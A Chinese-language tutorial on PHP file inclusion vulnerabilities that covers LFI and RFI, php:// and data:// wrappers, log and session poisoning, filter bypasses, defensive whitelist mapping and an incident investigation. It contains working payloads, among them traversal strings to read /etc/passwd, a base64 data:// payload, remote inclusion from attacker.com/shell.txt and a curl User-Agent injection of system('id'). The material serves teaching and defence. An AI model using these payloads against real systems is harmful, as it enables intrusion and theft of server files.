审计一套跑了七八年的 PHP 老站时，看到include($_GET['mod'].'.php');这种写法，我基本就能判断这站大概率能读到/etc/passwd。文件包含漏洞（File Inclusion）在 PHP 项目里的出现频率远比很多人想象的高，它不像 SQL 注入那样有成熟的参数化方案兜底，也不像 XSS 那样有明确的输出编码节点——很多时候它就是一行看起来人畜无害的 include 语句，前端传个参数进来，文件路径就被拼进去了。
这篇内容我打算把文件包含漏洞从原理到利用再到防御完整讲一遍：它是怎么产生的、本地包含和远程包含差在哪、伪协议为什么好用、日志和 Session 是怎么被当成跳板的、遇到过滤怎么绕、防御侧又该怎么写才靠谱。适合正在学 Web 安全的入门者、需要做代码审计的开发，以及负责应急响应的运维同学。全文会尽量给出可直接复现的步骤和路径，而不是停留在概念层面。
1. 一行 include 语句背后的攻击面：文件包含漏洞的本质
1.1 include 与 require 家族的四种写法差异
PHP 里负责"把另一个文件拉进来执行"的语法一共四个：include、include_once、require、require_once。名字像，但行为差别会直接影响漏洞能不能被利用。
include在文件找不到时只抛一个 E_WARNING 警告，脚本继续往下跑；require找不到文件会直接抛 E_COMPILE_ERROR 致命错误，脚本当场终止。这个差别在漏洞利用里很关键：如果一个页面在 include 失败后还能继续执行后面的逻辑，攻击者就更容易通过报错信息判断路径对不对，从而反复试探。
_once后缀的两个变体多了一层"是否已经包含过"的判断，防止函数或类被重复定义导致致命错误。它的副作用是：如果目标脚本之前已经包含过某个文件，你再去包含同名文件可能被跳过，这在构造利用链时要注意。
真正让文件包含变成漏洞的，是路径可控。想象一下这个场景：一个 CMS 用?page=about来控制显示哪个页面，后端写成include($_GET['page'] . '.php');。正常访问?page=about，它去读about.php。但如果传入?page=../../../../etc/passwd%00，在合适的 PHP 版本下，它就会把系统文件读出来。这里的核心问题不是 include 本身，而是用户输入直接参与了文件路径的构造，且没有任何校验。
再往下想一层：被包含的文件如果是 PHP 代码，它会被当作 PHP 执行；如果不是 PHP 代码（比如一张图片、一段日志），它会被原样输出。这决定了漏洞的两个利用方向——读文件和执行代码。
1.2 本地包含与远程包含：一条配置开关划出的分界线
文件包含按文件来源分成两类：本地文件包含（LFI，Local File Inclusion）和远程文件包含（RFI，Remote File Inclusion）。
LFI 包含的是服务器本机上的文件，比如/etc/passwd、/proc/self/environ、应用的配置文件、日志文件。LFI 本身只能"读"，但如果能配合文件上传、日志写入等手段把可控内容写到本机某个文件里，就能升级成代码执行。
RFI 包含的是远程服务器上的文件，?page=http://attacker.com/shell.txt这种。RFI 的威力大得多——只要远程文件里有 PHP 代码，包含进来就直接执行。但它的门槛也高：需要allow_url_include打开。
这里有个容易被搞混的点：很多人把allow_url_fopen和allow_url_include混为一谈。allow_url_fopen管的是file_get_contents、fopen这类文件操作函数能不能打开 URL；allow_url_include管的是include、require这类包含语法能不能用 URL。PHP 5.2.0 之后allow_url_include默认关闭，而且它依赖allow_url_fopen也处于开启状态。所以现实中 RFI 比 LFI 少见得多，绝大多数实战场景是围绕 LFI 做文章。
区分这两者还有个实际意义：当你拿到一个疑似包含点时，第一件事应该是判断它是不是 LFI。判断方式很简单，传一个本机绝对路径的文件试试，看返回内容里有没有文件特征。如果能读本机文件，那接下来就是找"可控写入点"的问题了。
1.3 搭一个能复现的测试环境
纸上谈兵不如动手。要复现文件包含漏洞，最省事的办法是用 Docker 拉一个多版本 PHP 环境，因为不同 PHP 版本对空字节截断、伪协议的支持差异很大，你需要随时切版本验证。
我一般会准备三个版本：PHP 5.3（能验证空字节截断）、PHP 7.4（大部分伪协议可用、phar 反序列化经典版本）、PHP 8.1（观察新版本的行为收敛）。每个容器里放一个极简的目标脚本：
<?php $page = $_GET['page'] ?? 'home'; include($page . '.php');然后在同目录下放几个正常文件（home.php、about.php），方便对照。测试的时候先访问?page=home确认正常，再试?page=../../../../etc/passwd。注意这台机器上要有/etc/passwd可读（Linux 环境天然满足），Windows 环境可以换成C:\Windows\win.ini。
提示：测试环境一定要放在自己完全掌控的隔离网络里，不要拿公网上的任何系统做验证，这不是技术问题而是合规底线。
搭好环境之后，你会发现一个现象：直接传/etc/passwd往往读不出来，因为脚本最后拼了个.php后缀，路径变成了/etc/passwd.php，这个文件不存在。这就是为什么实战中要处理"后缀拼接"这个问题——第 4 章会专门讲怎么绕。
2. PHP 伪协议：把协议前缀变成隐形后门
2.1 php://filter 读源码为什么能绕过大部分黑名单
php://filter是文件包含场景里最常用的一个流包装器。它最初的设计目的是让开发者能在读写流的时候加一层过滤器，比如把内容转成 base64、把 HTML 标签剥掉。但在文件包含漏洞里，它成了一个稳定的"读源码"工具。
典型用法是：
?page=php://filter/read=convert.base64-encode/resource=index.php注意这里的路径后面还跟着脚本自带的.php后缀，所以最终的 resource 变成index.php.php就找不到了。实际使用时通常要配合空字节截断（老版本）或者把 resource 指向一个真实存在的文件名。如果目标脚本是include($_GET['page'].'.php')，而你想读config.php，就得想办法让.php后缀不生效，这个后面绕过章节细讲。
为什么用 base64？因为直接把 PHP 源码输出到浏览器，源码里的<?php ... ?>会被 PHP 引擎当成标签执行或吞掉，你看不到完整内容。经过 base64 编码后，输出是一串纯文本，解码就能还原源码。这是审计时的标准动作——先读源码，搞清楚业务逻辑，再决定下一步怎么走。
除了 base64，convert.iconv.*系列过滤器也很有用，它能在字符集之间转换。近两年安全社区把 iconv 过滤器链玩出了新高度，通过精巧的过滤器组合可以在特定条件下实现从"读文件"到"代码执行"的跨越。不过这类利用对环境里的 iconv 实现、PHP 版本都有要求，实战中别一上来就指望它，先老老实实读源码更实际。
string.strip_tags过滤器也值得记住，它可以去掉内容里的 HTML/PHP 标签。在某些包含场景下，它能让被包含的内容"只保留文本"，用于处理一些特殊的输出格式。
2.2 php://input 与 data:// 在代码执行场景下的分工
如果说php://filter是"读"，那php://input和data://就是"写并执行"。
php://input代表 HTTP 请求体。当包含点允许它时，你可以用 POST 方法把 PHP 代码放进请求体，?page=php://input，配合在 POST body 里写<?php phpinfo(); ?>，代码就会被执行。它的前提同样是allow_url_include=On，因为 PHP 把php://input也归到"远程流"里管理。
data://更直接，把内容编码后内联在 URL 里：
?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+base64 那串就是<?php phpinfo(); ?>。data://要求allow_url_include=On，而且部分版本对data://在 include 中的使用还有额外限制，需要实际测试。
这两个协议的分工很清晰：php://input适合 POST 数据可控的场景，不需要额外构造 URL；data://适合 URL 长度受限但需要一次性把 payload 带进去的场景。它们的共同点是都跳过了"先把文件写到本机"这一步，直接让可控内容进入执行流程，所以在有allow_url_include的环境里威力最大。
2.3 phar:// 与 zip:// 的可用性差异
phar://是另一个常被提起的协议。它本意是访问 Phar 归档（PHP 的一种打包格式）内部的资源。在文件包含里，如果目标站点存在文件上传功能，且能把一个 Phar 归档文件传到服务器上，就可以用phar://uploads/xxx.phar/some.txt这种方式读取归档内部的文件。
phar://更"性感"的一面是它能触发反序列化：当 Phar 归档的元数据被解析时，其中的对象会经历反序列化过程。这在 PHP 7.x 时代是绕过很多过滤的利器，因为phar://是很多文件操作函数都支持的前缀。但要注意，PHP 8.0 之后这部分自动触发行为有明显收敛，利用时需要结合具体版本和调用点仔细验证，不能想当然。
zip://需要zip扩展支持，用法类似：zip://uploads/xxx.zip%23shell.txt。这里的%23是#的 URL 编码，用来分隔压缩包路径和包内文件名（直接用#会被当作 URL 锚点截断）。它同样需要先有一个包含恶意代码的压缩包上传上去。
这两个协议共同的实战要点是：它们都不能凭空造出文件，必须有一个"上传或其他写入途径"作为前置条件。看到别人写phar://利用，别以为传个参数就完事了，前置的文件落地环节往往才是难点。
3. 从读文件到拿 Shell：利用链是怎么一层层接起来的
3.1 日志文件包含：服务器访问日志往往是第一入口
LFI 最经典的一条升级路径是包含 Web 服务器日志。原理很简单：Web 服务器会把每个请求的访问信息写进日志文件，其中包含了 User-Agent、URL 等客户端可控的内容。如果攻击者把一段 PHP 代码塞进 User-Agent，这段代码就会被写进日志；然后通过 LFI 去包含这个日志文件，代码就被执行了。
常见日志路径：
| 服务器/系统 | 典型日志路径 |
|---|---|
| Apache (Debian/Ubuntu) | /var/log/apache2/access.log |
| Apache (CentOS/RHEL) | /var/log/httpd/access_log |
| Nginx | /var/log/nginx/access.log |
| 应用自身日志 | 项目目录下的 logs/、runtime/ 等 |
操作上分两步。第一步，构造一个带 PHP 代码的请求：
curl -A "<?php system('id'); ?>" http://target/第二步，包含日志：
?page=../../../../var/log/nginx/access.log日志里如果出现了id命令的输出，说明利用成功。这里有个坑：日志文件通常权限较严，Web 进程能不能读取决于日志的属主和权限。很多生产环境把日志权限设成只有 root 和特定组能读，这时候这条链就断了。另外，日志文件会不断增长，你注入的那行可能在文件很靠后的位置，包含时如果能配合按行读取或偏移控制会更精准，但标准 include 是整文件读入，日志过大可能导致超时或内存问题——我遇到过日志文件几十 MB 直接把 PHP 进程打挂的情况，排查半天才反应过来是日志太大。
3.2 Session 文件包含：可控写入的另一条稳定路径
比日志更可控的是 Session 文件。PHP 会把用户的 session 数据以序列化形式写到session.save_path指定的目录，文件名一般是sess_<PHPSESSID>。
如果应用的某处会把用户输入存进 session（比如记录用户名、留言内容），那么 session 文件里就出现了可控字符串。攻击者拿到自己的 PHPSESSID 后，直接包含对应的 session 文件：
?page=../../../../var/lib/php/sessions/sess_abc123这里的关键是知道 session 存储路径。它可能是/tmp、/var/lib/php/sessions，也可能被应用用session_save_path()改到项目目录里。获取方式包括：读取 phpinfo、报错信息泄露、默认路径猜测、甚至通过其他漏洞读配置。
Session 包含有一个"无门槛"版本值得单独提：session.upload_progress。PHP 默认开启了这个功能（session.upload_progress.enabled=On），它会在每个文件上传请求的 session 中写入上传进度信息，而这部分信息里包含了用户可控的字段。这意味着即使应用没有主动往 session 里存用户输入，只要你能发起一个带特定字段的 multipart 上传请求，就能把可控内容写进 session 文件，然后包含它。这条路让很多"看似没有可控写入点"的 LFI 重新变得可用。
注意：
session.upload_progress利用的前提是你需要能确定 session 文件名，也就是要控制 PHPSESSID。通常可以在 Cookie 里指定一个自定义的 PHPSESSID，PHP 会用它作为 session 名。
3.3 文件上传与包含的组合：临时文件与图片马
当目标有文件上传功能时，LFI 的价值会被放大。常见组合有两种。
第一种是用"临时文件"打时间差。PHP 处理文件上传时，会先把上传内容存到一个临时文件（$_FILES['file']['tmp_name']），脚本处理完才删除。如果能在这个窗口期内用 LFI 包含那个临时文件，就实现了代码执行。难点在于临时文件名是随机的（形如/tmp/phpXXXXXX），需要一些技巧去枚举或预测，而且时间窗口很短，对自动化脚本要求高。这条链在实际环境里成功率不稳定，我一般把它当成备选方案。
第二种是上传一个"图片马"——把 PHP 代码藏在图片文件里，上传后拿到存储路径，再用 LFI 包含这个图片。这种方式的优势是内容持久存在，没有时间窗口限制。缺点是很多场景下图片目录和 Web 根的关系、文件是否可被包含，都需要具体确认。另外要提醒的是：单纯的图片马如果不配合包含或解析漏洞，本身不会执行，它只是一个载体。
3.4 利用链卡住时，先回头确认这几件事
实战中利用链断掉是常态，别急着换思路，先按顺序排除这几项：
- 后缀是否被拼接。如果代码是
include($page.'.php')，你包含shell.txt会变成shell.txt.php，读不到。先解决后缀问题。 - 路径是否正确。相对路径的基准是脚本当前工作目录，不是 URL 对应的目录，
../的层数要多试几层。 - 权限问题。Web 进程对目标文件有没有读权限，这是最容易被忽略的。
- 配置开关。涉及
php://input、data://的，先确认allow_url_include状态。 - 内容是否被当作 PHP 执行。如果被包含文件里的代码没执行，可能整个内容被当成文本输出了，或者
short_open_tag关掉了导致<?不生效，换成<?php。
把这五项过一遍，绝大多数"利用失败"都能定位到原因。
4. 目标有过滤时：绕过思路的原理拆解
4.1 目录遍历序列被替换后怎么补回来
很多应用的防护就是在输入里删掉../。最朴素的实现是str_replace('../', '', $page)。这种"只替换一次"的逻辑有天然破绽。
如果输入是....//，替换掉中间的一个../之后，剩下的是../，遍历序列被还原了。同理..././、....\/等变体在特定替换逻辑下也可能生效。思路就是构造一个字符串，在"删除操作删掉其中一个片段"之后，恰好拼出想要的../。
另一类绕过是编码。../的 URL 编码是%2e%2e%2f，某些场景下大小写混用%2E%2E%2F也能过。如果解码发生在过滤之后，就会出现"过滤时看不到遍历序列、进入 include 时又解码回来了"的情况。判断的关键在于搞清楚过滤和解码的先后顺序——这只能通过测试和读源码来确认。
还有一种思路是利用多余的分隔符，比如/etc//passwd、/etc/./passwd，在文件系统层面它们和/etc/passwd等价，但字符串过滤未必能识别。
4.2 后缀拼接场景下的截断与注释技巧
前面反复提到后缀拼接问题，这里集中讲几种处理方式。
空字节截断：在 PHP 5.3.4 之前，%00可以用来截断后面的内容。?page=../../../../etc/passwd%00会被当作/etc/passwd，后面的.php被截掉。这个特性很早就被修复了，现在只能在老环境里用，但了解它有助于看懂老漏洞报告。
路径长度截断：在部分 Windows 环境配合特定 PHP 版本时，如果构造的路径超过系统最大路径长度限制，后面的内容会被截断。做法通常是?page=../../../../etc/passwd/././././././...拼一大串，让总长度超过限制，使拼上去的.php被丢弃。这条链和环境强相关，成功率不稳定，我一般最后才考虑。
问号截断：如果是远程包含（RFI），可以这样构造：?page=http://attacker.com/shell.txt?。URL 里的?之后是查询字符串，包含进来的 URL 实际指向shell.txt，而脚本拼上去的.php被当成了查询串的一部分。这条路要求allow_url_include=On，限制较多。
注释截断：用%23（#）注释掉后面拼接的内容。它能否生效取决于包含操作的底层处理，不是所有场景都支持，需要测试。
4.3 黑名单与白名单：破绽位置完全不同
过滤方案大致分黑名单和白名单两类，它们的"破绽位置"截然不同。
黑名单的思路是"禁止危险字符/协议"，比如禁用..、php://、data://、http://。它的破绽在于：名单很难覆盖全面（总有新协议、新变体），大小写和编码可能绕过（PHP://、pHp://），而且如果过滤顺序不对（编码在过滤之后进行），就会出现"绕过窗口"。你面对黑名单时，要做的就是枚举所有可能的协议前缀和编码变体，逐一测试。
白名单的思路是"只允许列表内的值"，比如if (!in_array($page, ['home','about','contact'])) exit;。这种防护非常有效，因为它直接把用户输入映射到固定的安全值。它常见的破绽不在过滤逻辑本身，而在实现细节：比如白名单只校验了$_GET['page']却用了$_REQUEST取值；或者只校验了参数名却用了数组参数?page[]=xxx；或者校验完后又把值拼接进路径导致二次污染。面对白名单，重点不是绕字符，而是找实现上的不一致。
我见过一个案例：应用用白名单校验，但校验函数里写的是in_array($page, $whitelist)而没开严格模式，攻击者传?page=0，PHP 的松散比较把0和某些字符串判等了，导致意外进入某个分支。这类问题纯靠读代码才能发现。
5. 防御方的加固清单：从代码到运行环境
5.1 代码层：白名单映射是唯一可靠的方案
如果让我只给一条建议，那就是：永远不要把用户输入直接拼进文件路径。正确的做法是用一个映射表把用户的"逻辑名"翻译成固定的真实路径。
<?php $pages = [ 'home' => __DIR__ . '/pages/home.php', 'about' => __DIR__ . '/pages/about.php', 'contact' => __DIR__ . '/pages/contact.php', ]; $key = $_GET['page'] ?? 'home'; if (!array_key_exists($key, $pages)) { http_response_code(404); exit('Not found'); } include $pages[$key];这个写法好在：用户输入只作为"数组键"参与查找，永远不会进入文件路径；即使用户传../../etc/passwd，也只是查不到这个键，直接走 404 分支。它从结构上消灭了路径遍历的可能，比任何字符过滤都可靠。
如果因为历史原因不能改成映射表，退一步的做法是：对输入做白名单字符校验（只允许字母数字和短横线），再用realpath()把路径规范化，最后检查规范化后的路径是否落在允许的目录前缀内。注意realpath()对不存在的文件返回 false，处理时要小心。
5.2 运行环境层：open_basedir、allow_url_include 与函数禁用
代码层之外，PHP 配置和系统配置是第二道防线。
open_basedir可以限制 PHP 能访问的目录范围。设置成项目目录后，即使代码里出现了遍历序列，PHP 也会拒绝访问目录之外的文件。这个配置对 LFI 的遏制效果非常直接，建议所有生产环境都配上。
allow_url_include保持 Off（默认就是 Off），能从根上堵住 RFI 和php://input、data://这类远程流。allow_url_fopen在没有明确需求时也建议关掉，减少远程资源被滥用的面。
关于disable_functions，这里要澄清一个常见误解：include 是语言结构（language construct），不是函数，disable_functions对它无效。指望用disable_functions禁掉 include 是不现实的。它能做的是限制被包含的代码能调用的危险函数（如system、exec、passthru），从而降低 RCE 成功后的危害，但挡不住漏洞本身。所以它属于"减损"措施，不是"防护"措施。
5.3 权限与日志：降低被包含之后的实际危害
即使前面的防线都被突破，权限控制仍能限制损害范围。
Web 进程的账户应该是最小权限账户，不能用 root 跑。它不应该能读/etc/shadow、其他应用的配置、私钥文件。日志目录和 Web 目录分开，日志文件权限收紧到只有日志进程可读，能直接砍掉"日志包含"这条链。
应用自己的敏感文件（如.env、数据库配置、备份文件）不要放在 Web 可访问目录下，也不要让 Web 进程有读权限。这样即使存在 LFI，攻击者能读到的也是有限的、非敏感的内容。
日志侧还要做一件事：把php://filter、data://、../这些特征写进 WAF 规则和日志告警。这些特征在正常业务请求里几乎不会出现，一旦出现就是强信号。
6. 一次真实排查：日志里那串奇怪的请求
6.1 告警线索与初步定位
有次值班，规则平台推了一条告警：某站点的 URL 参数里出现了php://filter字样。点开看，请求是GET /index.php?page=php://filter/read=convert.base64-encode/resource=../../config/database.php。
第一反应是这个站有文件包含漏洞，而且已经被人探测。我先把这条请求的完整信息拉出来：来源 IP、User-Agent、时间、返回状态码和响应长度。返回长度明显大于正常页面，说明很可能真的把配置文件的 base64 内容吐出来了——这意味着漏洞真实存在，而且已经被利用。
6.2 回溯请求链，确认入口与影响范围
接着做两件事：一是回溯这个 IP 之前的请求，看它是怎么找到这个点的；二是检查是否有更进一步的利用尝试。
回溯发现，攻击者先是正常浏览了几个页面，然后开始用?page=../../../../etc/passwd这类 payload 探测，最后才用php://filter读源码。中间还有几次尝试包含日志文件的请求。从时间线看，这明显是自动化工具在跑，不是人工精挖。
然后检查有无代码执行迹象：翻 Web 日志里有没有带 PHP 代码的 User-Agent、有没有异常的 POST 请求体、有没有可疑的文件写入操作。幸运的是没发现 RCE 的痕迹，攻击者似乎只停留在读文件阶段。
6.3 修复后的验证与遗留问题
确认漏洞点后，定位到代码：某个老模块用include($_GET['page'] . '.php')拼接路径。修复方案直接改成映射表，把原来支持的所有页面列进去。
改完要验证三件事：正常功能是否还能访问（全部页面都能打开）、原 payload 是否失效（php://filter、../../都返回 404）、有没有其他类似写法（全项目搜include和require的参数拼接）。
遗留问题有两个。一是日志文件在漏洞存在期间可能已被读取，里面有没有敏感信息泄露需要评估；二是这个站还有几个老模块是同一批人写的，风格类似，需要一起排查。这次事件之后，我把"文件包含"加进了团队的代码审计 checklist，凡是出现变量拼接路径的 include，一律要求整改。
我个人在排查这类漏洞时体会最深的一点是：告警的价值不在于它命中了什么，而在于它逼你去把整条利用链想清楚。只修一个点容易，把同类问题一次清干净，靠的是把触发条件、利用手法、影响范围三件事都捋一遍。真要说个小技巧，我习惯在修复后把原始的利用 payload 全部重放一遍，一个不落地确认返回 404 或者正常页面，这样才算真正闭环。
